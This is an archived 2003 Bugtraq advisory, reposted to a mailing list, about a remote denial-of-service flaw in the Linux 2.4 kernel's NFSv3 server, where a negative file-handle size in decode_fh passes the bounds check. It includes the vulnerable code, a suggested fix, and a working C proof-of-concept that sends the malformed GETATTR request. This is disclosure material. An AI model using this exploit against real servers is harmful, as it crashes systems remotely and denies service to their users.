Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting

VL: Remote Linux Kernel < 2.4.21 DoS in XDR routine.

From: Markus Kovero <muikku(at)muikkuverkko.net>
Date: Tue Jul 29 2003 - 16:40:13 EDT


Why the fsck this was keeped in silence? Damn the leenox devteam :P

-----Orginal-----
From: Jared Stanbrough [mailto:jareds@pdx.edu] To: bugtraq@securityfocus.com
Subject: Remote Linux Kernel < 2.4.21 DoS in XDR routine.

Hello all,

I have discovered a signed/unsigned issue in a routine responsible for demarshalling XDR data for NFSv3 procedure calls. As far as I can tell, this bug has existed since NFSv3 support was integrated. It has been silently fixed in 2.4.21.

The bug is in the decode_fh routine of fs/nfsd/nfs3xdr.c under the kernel source tree.

Vulnerable code:

static inline u32 *
decode_fh(u32 *p, struct svc_fh *fhp)
{

        int size;
        fh_init(fhp, NFS3_FHSIZE);
        size = ntohl(*p++);
        if (size > NFS3_FHSIZE)
                return NULL;

        memcpy(&fhp->fh_handle.fh_base, p, size);
        fhp->fh_handle.fh_size = size;
        return p + XDR_QUADLEN(size);

}

Where p is a packet of attacker controlled XDR data. If size is made to be negative, the sanity check is passed and the malicious value is passed to memcpy. Due to the behavior of the kernel's memcpy, this will cause a very large copy in kernel space, resulting in an instant kernel panic.

Do you need help?X

The attached code is a POC of this vulnerability. It requires that the vulnerable host has an exported directory available to the attacker. This is probably not the only way to manifest this bug, however.

If you have any questions, please feel free to contact me.

Cheers,

Jared Stanbrough <jareds@pdx.edu>

/*
  Linux 2.4.x knfsd kernel signed/unsigned decode_fh DoS   Author: jared stanbrough <jareds@pdx.edu>   Date: 07/19/2003   

  Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64)

  static inline u32 *
  decode_fh(u32 *p, struct svc_fh *fhp)
  {

        int size;
        fh_init(fhp, NFS3_FHSIZE);
        size = ntohl(*p++);
        if (size > NFS3_FHSIZE)
                return NULL;   

        memcpy(&fhp->fh_handle.fh_base, p, size);
        fhp->fh_handle.fh_size = size;
        return p + XDR_QUADLEN(size);

  }
Do you need more help?X

  This code is called by quite a few XDR decoding routines. The below   POC demonstrates the vulnerability by encoding a malicious fhsize   at the beginning of a diroparg xdr argument.  

  To test this, the vulnerable host must have an accessible exported   directory which was previously mounted by the attacker. _HOWEVER_   it may be possible to trigger this bug by some other method.

  Fix: Simply change size to an unsigned int, or check for size < 0. */

#include <rpcsvc/nfs_prot.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define NFSPROG 100003
#define NFSVERS 3
#define NFSPROC_GETATTR 1

static struct diropargs heh;

bool_t xdr_heh(XDR *xdrs, diropargs *heh) {
  int32_t werd = -1;
  return xdr_int32_t(xdrs, &werd);
}

int main(void)
{
  CLIENT * client;
  struct timeval tv;

Can we help you?X

  client = clnt_create("marduk", NFSPROG, NFSVERS, "udp");   

  if(client == NULL) {

      perror("clnt_create\n");
  }

  tv.tv_sec = 3;
  tv.tv_usec = 0;
  client->cl_auth = authunix_create_default();

  clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,

            (xdrproc_t) xdr_void, NULL, tv);

  return 0;
}      Received on Wed Jul 30 15:45:03 2003

This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:40 EDT

Can't find what you're looking for?X

Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library